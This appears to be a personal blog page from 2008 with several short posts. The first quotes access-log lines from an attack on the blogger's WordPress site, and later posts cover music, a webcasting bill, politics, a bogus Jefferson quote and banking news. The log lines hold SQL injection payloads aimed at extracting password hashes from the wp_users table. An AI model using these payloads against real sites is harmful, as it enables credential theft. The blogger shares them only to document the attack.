More webserver attacks

Just logged a few of these. Seems this attack has been discussed online before, but surprisingly there’s little information on it.

Note the attempt to get the user passwords from the wp_users table:

216.83.63.254 – – [03/Oct/2008:14:30:38 -0400] “GET /xmlrpc.php HTTP/1.1” 200 42
“-” “Mozilla/4.0 (k1b compatible; rss 6.0; Windows Sot 5.1 Security Kol)”
216.83.63.254 – – [03/Oct/2008:14:30:39 -0400] “POST /xmlrpc.php HTTP/1.1” 403 9
70 “-” “Mozilla/4.0 (k1b compatible; rss 6.0; Windows Sot 5.1 Security Kol)”
216.83.63.254 – – [03/Oct/2008:14:30:47 -0400] “POST /wp-trackback.php?tb_id=1 H
TTP/1.1” 403 984 “-” “Mozilla/4.0 (k1b compatible; rss 6.0; Windows Sot 5.1 Security Kol)”
216.83.63.254 – – [03/Oct/2008:14:30:54 -0400] “GET /index.php?cat=%2527+UNION+S
ELECT+CONCAT(666,CHAR(58),user_pass,CHAR(58),666,CHAR(58))+FROM+wp_users+where+i
d=1/* HTTP/1.1” 403 295 “-” “Mozilla/4.0 (k1b compatible; rss 6.0; Windows Sot 5.1 Security Kol)”
216.83.63.254 – – [03/Oct/2008:14:30:55 -0400] “GET /index.php?cat=999+UNION+SEL
ECT+null,CONCAT(666,CHAR(58),user_pass,CHAR(58),666,CHAR(58)),null,null,null+FRO
M+wp_users+where+id=1/* HTTP/1.1” 403 295 “-” “Mozilla/4.0 (k1b compatible; rss
6.0; Windows Sot 5.1 Security Kol)”
216.83.63.254 – – [03/Oct/2008:14:30:55 -0400] “GET /wp-trackback.php?p=1 HTTP/1
.1” 200 135 “-” “Mozilla/4.0 (k1b compatible; rss 6.0; Windows Sot 5.1 Security Kol)”

David Byrne coming to Raleigh Dec 8th

David Byrne of Talking Heads fame will be playing Raleigh’s Meymandi Hall December 8th, says N&O music critic David Menconi. The show’s not even up on the Progress Energy Center’s website yet.

David and Brian Eno recently released a new album called Everything That Will Happen Will Happen Today. You can listen to the entire album from its website, which while not as cool as Byrne’s Radiohead pals selling their album on the honor system is still pretty cool.

Webcaster bill passes Senate!

The Senate voted Tuesday to pass HR. 7084, the Webcaster Settlement Act of 2008! GovTrack.Us says the bill passed the Senate by “Unanimous Consent.”

Should the President sign it into law, the act law will allow internet radio stations such as Pandora to negotiate rates with music rights holders.

I’ve heard (and purchased) more new music since I found Pandora than I have in years. Thanks to everyone who called on behalf of the bill!

Cheap Thoughts: kids’ soccer games

When the opposing teams of a kids’ soccer game line up to shake each others’ hands, the parents of the kids should also line up to shake hands. Watching your kid play gets intense!

VP debate

Just watched the Vice Presidential Debate. Both candidates fared largely how I expected. I did cringe every time Palin said “nucular.” That drives me nuts.

I also thought Palin frequently sounded a lot like the weathergirl she once was. On some of her answers I couldn’t help but think of the way newscasters sometimes talk to fill in the time. Like when they jump quickly from one sentence to another without enough pause.

Will this sway anyone one way or another? Only time will tell.

Jefferson’s bogus bank quote in the wild

I did a periodicals search through N.C. Live (thanks, N.C. General Assembly and Wake County Public Library!) for the bogus Jefferson quote. Got three hits on the “America’s Newspapers” search.

It appeared in the Chicago Sun-Times in 1992:

Return power to the people
Chicago Sun-Times – April 7, 1992
Author: Edward F. Mrkvicka Jr.
Article I, Section 8, Clause 5 of the Constitution states, “The Congress shall have Power . . . To coin Money, regulate the Value thereof, and of foreign Coin, and fix the Standards of Weights and Measures.”

In 1913, Congress passed the Federal Reserve Act, which, in seeming violation of Article I, gave the power to regulate money to a handful of unelected private bankers.

[…]

America, while not the economic power it once was, is still the richest nation in the world. Yet average Americans have virtually none of the wealth. Thomas Jefferson was prophetic when he stated, “If the American people ever allow private banks to control the issue of their currency, first by inflation and then by deflation, the banks and the corporations that will grow up around them will deprive the people of all property until their children will wake up homeless on the continent their fathers conquered .”

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Wachovia and Citigroup: a shotgun marriage

The Charlotte Observer reports that Citigroup’s purchase of Wachovia’s was a panicked move by the FDIC to keep Wachovia solvent as nervous customers created a “silent” bank run. Customers began withdrawing their money on Friday and by Monday morning it was clear Wachovia had no liquidity left. In other words, Wachovia would’ve almost certainly failed this week had the FDIC not engineered the Citigroup deal.

Scary stuff, folks, and I’m sure we haven’t heard the last of it. I’m glad I’m a credit union member.

(h/t Suzzanne)

Mergers

The economic downturn is causing a lot of companies to either merge or else go belly-up. Watch for these consolidations in 2008:

1.) Hale Business Systems, Mary Kay Cosmetics, Fuller Brush, and W. R. Grace Co. Will merge and become: Hale, Mary, Fuller, Grace.

2.) PolyGram Records, Warner Bros., and Zesta Crackers join forces and become: Poly, Warner Cracker.

3.) 3M will merge with Goodyear and become: MMMGood.

4. Zippo Manufacturing, Audi Motors, Dofasco, and Dakota Mining will merge and become: ZipAudiDoDa
Continue reading →